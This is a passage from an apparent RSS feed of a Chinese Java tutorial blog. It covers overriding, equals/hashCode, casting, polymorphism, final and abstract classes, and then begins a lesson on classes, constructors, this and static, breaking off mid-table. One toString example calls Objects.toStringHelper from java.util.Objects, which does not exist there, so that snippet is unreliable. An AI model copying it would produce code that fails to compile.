&lt;p&gt;&lt;code&gt;@Override&lt;/code&gt; 是可选的，但&lt;strong&gt;强烈建议加上&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Override
public void makeSound() { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好处：如果方法名拼错（比如 &lt;code&gt;makeSounds&lt;/code&gt;）或者签名不对，编译器会报错，避免&quot;你以为在重写，其实是新增方法&quot;的 bug。&lt;/p&gt;
&lt;h3&gt;重写 vs 重载&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;重写 Override&lt;/th&gt;
&lt;th&gt;重载 Overload&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;发生位置&lt;/td&gt;
&lt;td&gt;父子类之间&lt;/td&gt;
&lt;td&gt;同一个类里&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;方法名&lt;/td&gt;
&lt;td&gt;必须相同&lt;/td&gt;
&lt;td&gt;必须相同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;参数列表&lt;/td&gt;
&lt;td&gt;必须相同&lt;/td&gt;
&lt;td&gt;必须不同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;返回类型&lt;/td&gt;
&lt;td&gt;必须相同或是子类&lt;/td&gt;
&lt;td&gt;可同可不同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;访问修饰符&lt;/td&gt;
&lt;td&gt;不能更严格&lt;/td&gt;
&lt;td&gt;无限制&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;绑定时机&lt;/td&gt;
&lt;td&gt;运行时（动态）&lt;/td&gt;
&lt;td&gt;编译时（静态）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Object 类：所有类的祖先&lt;/h2&gt;
&lt;p&gt;Java 里所有类都&lt;strong&gt;隐式继承&lt;/strong&gt; &lt;code&gt;java.lang.Object&lt;/code&gt;，即使你没写 &lt;code&gt;extends&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class User { ... }
// 等价于
public class User extends Object { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Object&lt;/code&gt; 提供了几个所有对象都有的方法，其中最常用的三个：&lt;code&gt;equals&lt;/code&gt;、&lt;code&gt;hashCode&lt;/code&gt;、&lt;code&gt;toString&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;toString&lt;/h3&gt;
&lt;p&gt;默认的 &lt;code&gt;toString&lt;/code&gt; 返回 &lt;code&gt;类名@哈希码&lt;/code&gt;，几乎没用。&lt;strong&gt;自定义类应该重写它&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class User {
    private String name;
    private int age;

    @Override
    public String toString() {
        return &quot;User{name=&apos;&quot; + name + &quot;&apos;, age=&quot; + age + &quot;}&quot;;
    }
}

System.out.println(new User(&quot;Tom&quot;, 25));
// 输出：User{name=&apos;Tom&apos;, age=25}
// 因为 println 会自动调用 toString()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IDEA 里 &lt;code&gt;Alt+Insert → toString()&lt;/code&gt; 可以自动生成，或者用 &lt;code&gt;Objects.toString&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.Objects;

@Override
public String toString() {
    return Objects.toStringHelper(this)
        .add(&quot;name&quot;, name)
        .add(&quot;age&quot;, age)
        .toString();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;equals 与 hashCode&lt;/h3&gt;
&lt;p&gt;这两个是&lt;strong&gt;成对出现&lt;/strong&gt;的，重写一个必须重写另一个。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;默认 &lt;code&gt;equals&lt;/code&gt; 就是 &lt;code&gt;==&lt;/code&gt;&lt;/strong&gt;（比较引用），要按内容比较必须重写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class User {
    private String name;
    private int age;

    @Override
    public boolean equals(Object o) {
        // 1. 同一个对象
        if (this == o) return true;
        // 2. 类型检查（模式匹配写法，JDK 16+）
        if (!(o instanceof User other)) return false;
        // 3. 逐字段比较
        return age == other.age &amp;amp;&amp;amp; Objects.equals(name, other.name);
    }

    @Override
    public int hashCode() {
        return Objects.hash(name, age);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;为什么必须一起重写&lt;/strong&gt;：Java 的 &lt;code&gt;HashMap&lt;/code&gt;、&lt;code&gt;HashSet&lt;/code&gt; 内部先用 &lt;code&gt;hashCode&lt;/code&gt; 定位桶，再用 &lt;code&gt;equals&lt;/code&gt; 比较。如果两个对象 &lt;code&gt;equals&lt;/code&gt; 返回 &lt;code&gt;true&lt;/code&gt; 但 &lt;code&gt;hashCode&lt;/code&gt; 不同，就会被当成两个不同的键存进 map，导致灾难性 bug。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;契约&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;若 &lt;code&gt;a.equals(b)&lt;/code&gt; 为 &lt;code&gt;true&lt;/code&gt;，则 &lt;code&gt;a.hashCode() == b.hashCode()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;若 &lt;code&gt;a.hashCode() == b.hashCode()&lt;/code&gt;，&lt;code&gt;a.equals(b)&lt;/code&gt; &lt;strong&gt;不一定&lt;/strong&gt;为 &lt;code&gt;true&lt;/code&gt;（哈希冲突）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;equals&lt;/code&gt; 必须满足：&lt;strong&gt;自反、对称、传递、一致、非 null&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
IDEA 里 &lt;code&gt;Alt+Insert → equals() and hashCode()&lt;/code&gt; 可以自动生成，选默认的 &lt;code&gt;Objects.equals&lt;/code&gt; / &lt;code&gt;Objects.hash&lt;/code&gt; 模板即可。或者直接用 Lombok 的 &lt;code&gt;@EqualsAndHashCode&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;向上转型与向下转型&lt;/h2&gt;
&lt;h3&gt;向上转型（Upcasting）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;子类 → 父类&lt;/strong&gt;，自动，安全：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Dog dog = new Dog(&quot;旺财&quot;, 3, &quot;柴犬&quot;);
Animal animal = dog;          // ✅ 自动向上转型
animal.eat();                 // ✅ 父类的方法
// animal.bark();             // ❌ 编译器只知道 animal 是 Animal 类型
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;向上转型后，&lt;strong&gt;编译器只看声明类型&lt;/strong&gt;，看不到子类特有的方法。&lt;/p&gt;
&lt;h3&gt;向下转型（Downcasting）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;父类 → 子类&lt;/strong&gt;，需要显式强转，可能失败：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Animal animal = new Dog(&quot;旺财&quot;, 3, &quot;柴犬&quot;);

// ❌ 危险：如果 animal 实际是 Cat，运行时抛 ClassCastException
Dog dog = (Dog) animal;

// ✅ 先判断再转
if (animal instanceof Dog) {
    Dog d = (Dog) animal;
    d.bark();
}

// ✅ 模式匹配（JDK 16+，推荐）
if (animal instanceof Dog d) {
    d.bark();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;多态：运行时绑定&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;多态&lt;/strong&gt;（polymorphism）指同一个方法调用，因为对象实际类型不同而产生不同行为。这是 Java OOP 的核心机制：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class AnimalShelter {
    public static void main(String[] args) {
        // 声明类型是 Animal，实际类型是 Dog/Cat/Bird
        List&amp;lt;Animal&amp;gt; animals = List.of(
            new Dog(&quot;旺财&quot;, 3, &quot;柴犬&quot;),
            new Cat(&quot;咪咪&quot;, 2),
            new Dog(&quot;小黑&quot;, 5, &quot;拉布拉多&quot;)
        );

        for (Animal a : animals) {
            a.makeSound();      // 运行时根据实际类型调用不同的方法
            // 输出：汪汪 / 喵喵 / 汪汪
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;声明类型是父类（或接口），实际类型是子类&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;方法调用在运行时根据实际对象类型决定&lt;/strong&gt;（动态绑定 / late binding）&lt;/li&gt;
&lt;li&gt;字段访问是&lt;strong&gt;编译时&lt;/strong&gt;根据声明类型决定（静态绑定），字段没有多态&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;字段没有多态的例子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Parent {
    public String name = &quot;Parent&quot;;
}
public class Child extends Parent {
    public String name = &quot;Child&quot;;    // 隐藏（hide）父类字段，不是重写
}

Parent p = new Child();
System.out.println(p.name);          // &quot;Parent&quot; ← 编译时决定
System.out.println(((Child) p).name); // &quot;Child&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这就是为什么字段应该 &lt;code&gt;private&lt;/code&gt;&lt;/strong&gt;：避免这种隐藏带来的困惑。&lt;/p&gt;
&lt;h2&gt;final 关键字&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;final&lt;/code&gt; 表示&quot;不可改变&quot;，可以修饰&lt;strong&gt;变量、方法、类、方法参数&lt;/strong&gt;：&lt;/p&gt;
&lt;h3&gt;1. final 变量：只能赋值一次&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;final double PI = 3.14159;
// PI = 3.14;   // ❌ 编译报错

// 实例 final 字段必须在构造器结束前赋值
public class User {
    private final String id;

    public User(String id) {
        this.id = id;    // ✅ 构造器里赋值
    }
}

// 引用类型的 final：引用不能变，但对象内容可以变
final List&amp;lt;String&amp;gt; list = new ArrayList&amp;lt;&amp;gt;();
list.add(&quot;a&quot;);           // ✅
// list = new ArrayList&amp;lt;&amp;gt;();  // ❌ 引用不能重新赋值
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. final 方法：不能被子类重写&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Base {
    public final void doSomething() { ... }
}

public class Sub extends Base {
    // ❌ 不能重写 final 方法
    // @Override
    // public void doSomething() { ... }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. final 类：不能被继承&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public final class Immutable { ... }

// ❌ 编译报错
public class Sub extends Immutable { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;String&lt;/code&gt;、&lt;code&gt;Integer&lt;/code&gt; 等所有包装类都是 &lt;code&gt;final&lt;/code&gt; 的，防止被继承破坏不可变性。&lt;/p&gt;
&lt;h3&gt;4. final 参数：方法内不能修改&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public void print(final int n) {
    // n = 10;   // ❌
    System.out.println(n);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;抽象类预告&lt;/h2&gt;
&lt;p&gt;如果一个类&lt;strong&gt;不需要实例化&lt;/strong&gt;，只作为父类被继承，可以声明为 &lt;code&gt;abstract&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public abstract class Shape {
    protected String color;

    public Shape(String color) {
        this.color = color;
    }

    // 抽象方法：只有声明没有实现，子类必须重写
    public abstract double area();

    // 普通方法：子类直接继承
    public void describe() {
        System.out.println(&quot;一个 &quot; + color + &quot; 的图形，面积 &quot; + area());
    }
}

public class Circle extends Shape {
    private double radius;

    public Circle(String color, double radius) {
        super(color);
        this.radius = radius;
    }

    @Override
    public double area() {
        return Math.PI * radius * radius;
    }
}

// Shape s = new Shape(&quot;red&quot;);   // ❌ 抽象类不能实例化
Shape s = new Circle(&quot;red&quot;, 2.0);   // ✅ 通过子类
s.describe();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;抽象类的完整讨论（跟接口的对比）放在&lt;strong&gt;阶段七&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;综合小例子：图形系统&lt;/h2&gt;
&lt;p&gt;把继承、多态、抽象类、&lt;code&gt;equals&lt;/code&gt; 一起用起来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.example.shape;

import java.util.Objects;

public abstract class Shape {
    protected final String color;

    protected Shape(String color) {
        this.color = Objects.requireNonNull(color);
    }

    public abstract double area();
    public abstract double perimeter();

    public String getColor() { return color; }

    @Override
    public String toString() {
        return &quot;%s[color=%s, area=%.2f]&quot;.formatted(
            getClass().getSimpleName(), color, area()
        );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package com.example.shape;

import java.util.Objects;

public class Circle extends Shape {
    private final double radius;

    public Circle(String color, double radius) {
        super(color);
        this.radius = radius;
    }

    @Override
    public double area() {
        return Math.PI * radius * radius;
    }

    @Override
    public double perimeter() {
        return 2 * Math.PI * radius;
    }

    public double getRadius() { return radius; }

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof Circle other)) return false;
        return Double.compare(radius, other.radius) == 0
            &amp;amp;&amp;amp; Objects.equals(color, other.color);
    }

    @Override
    public int hashCode() {
        return Objects.hash(color, radius);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package com.example.shape;

import java.util.Objects;

public class Rectangle extends Shape {
    private final double width;
    private final double height;

    public Rectangle(String color, double width, double height) {
        super(color);
        this.width = width;
        this.height = height;
    }

    @Override
    public double area() { return width * height; }

    @Override
    public double perimeter() { return 2 * (width + height); }

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof Rectangle other)) return false;
        return Double.compare(width, other.width) == 0
            &amp;amp;&amp;amp; Double.compare(height, other.height) == 0
            &amp;amp;&amp;amp; Objects.equals(color, other.color);
    }

    @Override
    public int hashCode() { return Objects.hash(color, width, height); }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package com.example.shape;

import java.util.List;

public class ShapeDemo {
    public static void main(String[] args) {
        List&amp;lt;Shape&amp;gt; shapes = List.of(
            new Circle(&quot;红色&quot;, 2.0),
            new Rectangle(&quot;蓝色&quot;, 3.0, 4.0),
            new Circle(&quot;绿色&quot;, 1.5)
        );

        // 多态：同一个方法调用，不同实现
        for (Shape s : shapes) {
            System.out.printf(&quot;%s 面积=%.2f 周长=%.2f%n&quot;,
                s, s.area(), s.perimeter());
        }

        // 总面积（Stream，阶段十讲）
        double total = shapes.stream().mapToDouble(Shape::area).sum();
        System.out.printf(&quot;总面积：%.2f%n&quot;, total);

        // equals
        Shape a = new Circle(&quot;红色&quot;, 2.0);
        Shape b = new Circle(&quot;红色&quot;, 2.0);
        System.out.println(a.equals(b));   // true，因为重写了 equals
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 1. 继承
public class Dog extends Animal {
    public Dog(String name) {
        super(name);          // 必须调用父类构造器
    }
}

// 2. 重写
@Override
public void makeSound() {
    super.makeSound();        // 可选调用父类逻辑
    // 自己的实现
}

// 3. Object 三兄弟
@Override
public String toString() { return &quot;User{name=&quot; + name + &quot;}&quot;; }

@Override
public boolean equals(Object o) {
    if (this == o) return true;
    if (!(o instanceof User other)) return false;
    return age == other.age &amp;amp;&amp;amp; Objects.equals(name, other.name);
}

@Override
public int hashCode() { return Objects.hash(name, age); }

// 4. 向上/向下转型
Animal a = new Dog(&quot;旺财&quot;);       // 向上，自动
if (a instanceof Dog d) d.bark(); // 向下，模式匹配

// 5. 多态
List&amp;lt;Animal&amp;gt; list = List.of(new Dog(), new Cat());
for (Animal a : list) a.makeSound();   // 运行时决定调用哪个

// 6. final
final double PI = 3.14;               // 变量不能改
public final void method() {}         // 方法不能重写
public final class Immutable {}       // 类不能继承
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Java &lt;strong&gt;单继承&lt;/strong&gt;，一个类只能 &lt;code&gt;extends&lt;/code&gt; 一个父类&lt;/li&gt;
&lt;li&gt;子类构造器必须先调用 &lt;code&gt;super(...)&lt;/code&gt;（不写则自动调无参）&lt;/li&gt;
&lt;li&gt;重写规则：签名一致、返回类型一致或是子类、访问修饰符不能更严格&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;@Override&lt;/code&gt; 一定要加&lt;/strong&gt;，让编译器帮你检查签名&lt;/li&gt;
&lt;li&gt;重写 &lt;code&gt;equals&lt;/code&gt; 必须同时重写 &lt;code&gt;hashCode&lt;/code&gt;，否则 &lt;code&gt;HashMap&lt;/code&gt; 会出鬼&lt;/li&gt;
&lt;li&gt;向上转型自动、安全；向下转型要强转，配合 &lt;code&gt;instanceof&lt;/code&gt; 模式匹配&lt;/li&gt;
&lt;li&gt;多态是&lt;strong&gt;方法&lt;/strong&gt;的运行时绑定；字段是编译时绑定，没有多态&lt;/li&gt;
&lt;li&gt;&lt;code&gt;final&lt;/code&gt; 修饰变量=不可改、方法=不可重写、类=不可继承&lt;/li&gt;
&lt;li&gt;抽象类不能实例化，抽象方法必须由子类实现&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一个阶段讲接口和抽象类的对比，看看 Java 里&quot;契约式设计&quot;是怎么做的。&lt;/p&gt;
</content:encoded></item><item><title>Java 阶段五：面向对象（一）——类与对象</title><link>http://117.72.32.87/blog/posts/java-roadmap-05-oop-class-and-object/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-05-oop-class-and-object/</guid><description>类的定义、字段、方法、构造器、this、static、包与访问修饰符、方法重载、JavaBean、record，一篇讲完 Java OOP 的地基。</description><pubDate>Thu, 03 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JS 从 ES6 起也有了 &lt;code&gt;class&lt;/code&gt;，但底层仍然是原型链。Java 的类是&lt;strong&gt;真正的类&lt;/strong&gt;：字段类型固定、方法必须声明返回类型、实例化必须 &lt;code&gt;new&lt;/code&gt;。这个阶段把 Java OOP 的地基一次搭起来。&lt;/p&gt;
&lt;h2&gt;从 JS 的 class 到 Java 的 class&lt;/h2&gt;
&lt;p&gt;先看两边同一个&quot;用户&quot;类的写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JavaScript
class User {
    constructor(name, age) {
        this.name = name;
        this.age = age;
    }
    greet() {
        return `Hi, I&apos;m ${this.name}`;
    }
}

const u = new User(&quot;Tom&quot;, 25);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// Java
public class User {
    // 字段必须声明类型
    private String name;
    private int age;

    // 构造器：名字必须与类名一致，没有返回类型
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // 方法必须声明返回类型
    public String greet() {
        return &quot;Hi, I&apos;m &quot; + name;
    }
}

// 使用
User u = new User(&quot;Tom&quot;, 25);
System.out.println(u.greet());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键差异&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;JavaScript&lt;/th&gt;
&lt;th&gt;Java&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;字段声明&lt;/td&gt;
&lt;td&gt;构造器里 &lt;code&gt;this.x = ...&lt;/code&gt; 隐式声明&lt;/td&gt;
&lt;td&gt;类体里显式声明类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;方法返回类型&lt;/td&gt;
&lt;td&gt;隐式，不写 &lt;code&gt;return&lt;/code&gt; 就是 &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;必须显式声明 &lt;code&gt;void&lt;/code&gt; 或具体类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;访问控制&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#field&lt;/code&gt; 私有（ES2022+），约定用 &lt;code&gt;_field&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public&lt;/code&gt; / &lt;code&gt;private&lt;/code&gt; / &lt;code&gt;protected&lt;/code&gt; / 默认&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;实例化&lt;/td&gt;
&lt;td&gt;&lt;code&gt;new User()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;new User()&lt;/code&gt;，但变量必须有声明类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;类型&lt;/td&gt;
&lt;td&gt;动态&lt;/td&gt;
&lt;td&gt;静态，编译期检查&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;类的完整结构&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;package com.example.model;         // 1. 包声明（可选，但推荐）

import java.util.List;             // 2. 导入其他类
import java.time.LocalDate;

public class User {                // 3. 类声明
    // ========== 静态字段（属于类，所有实例共享） ==========
    private static int userCount = 0;
    public static final String DEFAULT_ROLE = &quot;guest&quot;;

    // ========== 实例字段（属于对象，每个实例独立） ==========
    private Long id;
    private String name;
    private int age;
    private LocalDate registeredAt;
    private List&amp;lt;String&amp;gt; tags;

    // ========== 构造器 ==========
    public User() {
        this(&quot;Anonymous&quot;, 0);       // 调用另一个构造器
    }

    public User(String name, int age) {
        this.name = name;
        this.age = age;
        this.registeredAt = LocalDate.now();
        userCount++;
    }

    // ========== 实例方法 ==========
    public String greet() {
        return &quot;Hi, I&apos;m &quot; + name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getName() {
        return name;
    }

    // ========== 静态方法 ==========
    public static int getUserCount() {
        return userCount;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;几个约定俗成的规矩&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一个 &lt;code&gt;.java&lt;/code&gt; 文件最多一个 &lt;code&gt;public&lt;/code&gt; 类，文件名 = 类名&lt;/li&gt;
&lt;li&gt;顺序：包声明 → import → 类声明&lt;/li&gt;
&lt;li&gt;类内部顺序：静态字段 → 实例字段 → 构造器 → 方法&lt;/li&gt;
&lt;li&gt;字段一般 &lt;code&gt;private&lt;/code&gt;，通过 getter/setter 暴露&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;构造器&lt;/h2&gt;
&lt;h3&gt;默认构造器&lt;/h3&gt;
&lt;p&gt;如果&lt;strong&gt;没有显式写任何构造器&lt;/strong&gt;，Java 会自动提供一个无参构造器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Simple {
    // 没写构造器
}

new Simple();   // ✅ 编译器提供的默认无参构造器
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一旦你&lt;strong&gt;写了任何一个构造器&lt;/strong&gt;，默认的无参构造器就消失了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class User {
    public User(String name) { ... }
}

new User();             // ❌ 编译报错：no suitable constructor
new User(&quot;Tom&quot;);        // ✅
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想要保留无参构造器就得自己写一个。&lt;/p&gt;
&lt;h3&gt;构造器重载&lt;/h3&gt;
&lt;p&gt;同一个类可以有多个参数不同的构造器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class User {
    private String name;
    private int age;
    private String email;

    public User() {
        this(&quot;Anonymous&quot;, 0, null);
    }

    public User(String name) {
        this(name, 0, null);
    }

    public User(String name, int age) {
        this(name, age, null);
    }

    public User(String name, int age, String email) {
        this.name = name;
        this.age = age;
        this.email = email;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;this(...) 调用其他构造器&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;this(...)&lt;/code&gt; 必须是构造器里的&lt;strong&gt;第一行&lt;/strong&gt;，用来复用其他构造器的逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public User(String name) {
    this(name, 0);          // ✅ 调用 User(String, int)
    // 其他代码
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不能同时用 &lt;code&gt;this(...)&lt;/code&gt; 和 &lt;code&gt;super(...)&lt;/code&gt;（父类构造器），因为它们都要在第一行。&lt;/p&gt;
&lt;h2&gt;this 关键字&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;this&lt;/code&gt; 指向当前实例，主要三种用法：&lt;/p&gt;
&lt;h3&gt;1. 区分字段和参数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class User {
    private String name;

    public void setName(String name) {
        this.name = name;      // 字段 = 参数
        // name = name;        // ❌ 参数赋给自己，字段没变
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 调用当前对象的其他方法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Counter {
    private int count = 0;

    public void increment() {
        count++;
    }

    public void incrementTwice() {
        this.increment();      // 显式调用（this 可省略）
        this.increment();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 调用当前类的其他构造器&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public User() {
    this(&quot;Anonymous&quot;);         // 调用 User(String)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;code&gt;this&lt;/code&gt; 不能在 &lt;code&gt;static&lt;/code&gt; 方法里使用，因为静态方法属于类本身，没有&quot;当前实例&quot;的概念：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static void printName() {
    // System.out.println(this.name);   // ❌ 编译报错
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h2&gt;static：属于类，不属于对象&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;static&lt;/code&gt; 修饰的字段和方法&lt;strong&gt;属于类本身&lt;/strong&gt;，所有实例共享：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class User {
    private static int count = 0;         // 静态字段：所有 User 共享
    private String name;                  // 实例字段：每个 User 独立

    public User(String name) {
        this.name = name;
        count++;                          // 静态字段在构造器里累加
    }

    public static int getCount() {        // 静态方法
        return count;
    }

    public String getName() {             // 实例方法
        return name;
    }
}

// 使用
User u1 = new User(&quot;Tom&quot;);
User u2 = new User(&quot;Jerry&quot;);

User.getCount();     // ✅ 通过类名调用（推荐）
u1.getCount();       // ✅ 也能通过实例调用，但容易误导，不推荐
u1.getName();        // ✅ 实例方法必须通过实例
// User.getName();   // ❌ 静态上下文无法调用实例方法
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;static 使用场景&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;常量：&lt;code&gt;public static final double PI = 3.14;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;工具方法：&lt;code&gt;Math.max&lt;/code&gt;、&lt;code&gt;Arrays.sort&lt;/code&gt;、&lt;code&gt;String.join&lt;/code&gt; 都是静态方法&lt;/li&gt;
&lt;li&gt;工厂方法：&lt;code&gt;Integer.valueOf(42)&lt;/code&gt;、&lt;code&gt;List.of(1, 2, 3)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;计数器、缓存、单例&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;static 的限制&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不能访问实例字段和实例方法（因为没有 &lt;code&gt;this&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;不能被重写（override），只能被隐藏（hide）&lt;/li&gt;
&lt;li&gt;静态方法里不能用 &lt;code&gt;this&lt;/code&gt; 和 &lt;code&gt;super&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;访问修饰符&lt;/h2&gt;
&lt;p&gt;Java 有 4 种访问级别，从宽到严：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;修饰符&lt;/th&gt;
&lt;th&gt;同一个类&lt;/th&gt;
&lt;th&gt;同一个包&lt;/th&gt;
&lt;th&gt;子类（跨包）&lt;/th&gt;
&lt;th&gt;任何地方&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;public&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;protected&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;默认（不写）&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
